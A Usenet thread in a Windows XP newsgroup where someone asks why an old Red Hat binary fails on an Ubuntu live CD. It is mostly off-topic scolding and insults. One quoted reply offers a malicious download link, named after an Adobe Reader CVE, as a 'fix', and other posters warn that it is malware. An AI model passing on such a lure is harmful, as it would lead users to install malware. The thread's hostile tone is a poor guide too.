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Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

application(binary) compiled in linux (RH 7), but nothing happened, not

run.. Where problem can be?
 
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catter@nospam.microsoft.news says...

>

> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

> application(binary) compiled in linux (RH 7), but nothing happened, not

> run.. Where problem can be?



Why not post this in a Linux group?



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Michael wrote:

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> "Catter" wrote in message

> news:eHtHmq#1KHA.280@TK2MSFTNGP02.phx.gbl...

>> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

>> application(binary) compiled in linux (RH 7), but nothing happened,

>> not run.. Where problem can be?

>

> Here's your fix. Just_click_on_the_link!

>

> http://www.coromputer.net/CVE-2009-0927_package.zip

>

>

>

> Moron!



Do NOT click on this link! It's malware!



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Catter wrote:

> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

> application(binary) compiled in linux (RH 7), but nothing happened, not

> run.. Where problem can be?



You need to install Ubuntu first.



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"Alias" wrote in message

news:hpngpl$kvp$9@news.eternal-september.org...

> Catter wrote:

>> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

>> application(binary) compiled in linux (RH 7), but nothing happened, not

>> run.. Where problem can be?

>

> You need to install Ubuntu first.

>

> --

> Alias

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Programs can no run on Linux which run from CD? Or wrong versions of shared

libraries? No any errors shown, instead of Windows.
 
Alias wrote:

> Michael wrote:

>>

>> "Catter" wrote in message

>> news:eHtHmq#1KHA.280@TK2MSFTNGP02.phx.gbl...

>>> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried

>>> run application(binary) compiled in linux (RH 7), but nothing

>>> happened, not run.. Where problem can be?

>>

>> Here's your fix. Just_click_on_the_link!

>>

>> tp:/ww.ALTERED/CVE-2009-0927_package.zippyp

>>

>>

>>

>> Moron!

>

> Do NOT click on this link! It's malware!



Next time, remember to alter the link if you want to include that part

of the previous post as a reference.
 
"Catter" wrote in message

news:uXoDwv$1KHA.1036@TK2MSFTNGP06.phx.gbl...

>

> "Alias" wrote in message

> news:hpngpl$kvp$9@news.eternal-september.org...

>> Catter wrote:

>>> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

>>> application(binary) compiled in linux (RH 7), but nothing happened, not

>>> run.. Where problem can be?

>>

>> You need to install Ubuntu first.

>>

>> --

>> Alias

> ------------

> Programs can no run on Linux which run from CD? Or wrong versions of

> shared libraries? No any errors shown, instead of Windows.



This question has nothing at all to do with Windows XP, the subject of this

newsgroup. Why would you think it has?



As has been suggested, try posting in a Linux forum or group.
 
Catter wrote:

>

> "Alias" wrote in message

> news:hpngpl$kvp$9@news.eternal-september.org...

>> Catter wrote:

>>> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

>>> application(binary) compiled in linux (RH 7), but nothing happened, not

>>> run.. Where problem can be?

>>

>> You need to install Ubuntu first.

>>

>> --

>> Alias

> ------------

> Programs can no run on Linux which run from CD? Or wrong versions of

> shared libraries? No any errors shown, instead of Windows.



It's a CD, not a hard or pen drive. Windows doesn't have a live CD so

you can't compare an install on a hard drive of Windows with a live CD

of Ubuntu.



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Olorin wrote:

> "Catter" wrote in message

> news:uXoDwv$1KHA.1036@TK2MSFTNGP06.phx.gbl...

>>

>> "Alias" wrote in message

>> news:hpngpl$kvp$9@news.eternal-september.org...

>>> Catter wrote:

>>>> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

>>>> application(binary) compiled in linux (RH 7), but nothing happened, not

>>>> run.. Where problem can be?

>>>

>>> You need to install Ubuntu first.

>>>

>>> --

>>> Alias

>> ------------

>> Programs can no run on Linux which run from CD? Or wrong versions of

>> shared libraries? No any errors shown, instead of Windows.

>

> This question has nothing at all to do with Windows XP, the subject of this

> newsgroup. Why would you think it has?



Translation: you don't know the answer.



> As has been suggested, try posting in a Linux forum or group.



Stick your Usenet Cop Badge up your ass.



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"Alias" wrote in message

news:hpvfbc$bcb$3@news.eternal-september.org...

> Olorin wrote:

>> "Catter" wrote in message

>> news:uXoDwv$1KHA.1036@TK2MSFTNGP06.phx.gbl...

>>>

>>> "Alias" wrote in message

>>> news:hpngpl$kvp$9@news.eternal-september.org...

>>>> Catter wrote:

>>>>> Just tried run Linux Ubuntu 9 from CD, loads normally; then tried run

>>>>> application(binary) compiled in linux (RH 7), but nothing happened,

>>>>> not

>>>>> run.. Where problem can be?

>>>>

>>>> You need to install Ubuntu first.

>>>>

>>>> --

>>>> Alias

>>> ------------

>>> Programs can no run on Linux which run from CD? Or wrong versions of

>>> shared libraries? No any errors shown, instead of Windows.

>>

>> This question has nothing at all to do with Windows XP, the subject of

>> this

>> newsgroup. Why would you think it has?

>

> Translation: you don't know the answer.

>

>> As has been suggested, try posting in a Linux forum or group.

>

> Stick your Usenet Cop Badge up your ass.

>

> --

> Alias



Oh boy, do I feel humiliated now.



There was actually no need for any "translating". Why DID you think your

question was in any way pertinent to this group? Your lack of answer and

reverting to childish insults speaks volumes about you.
 
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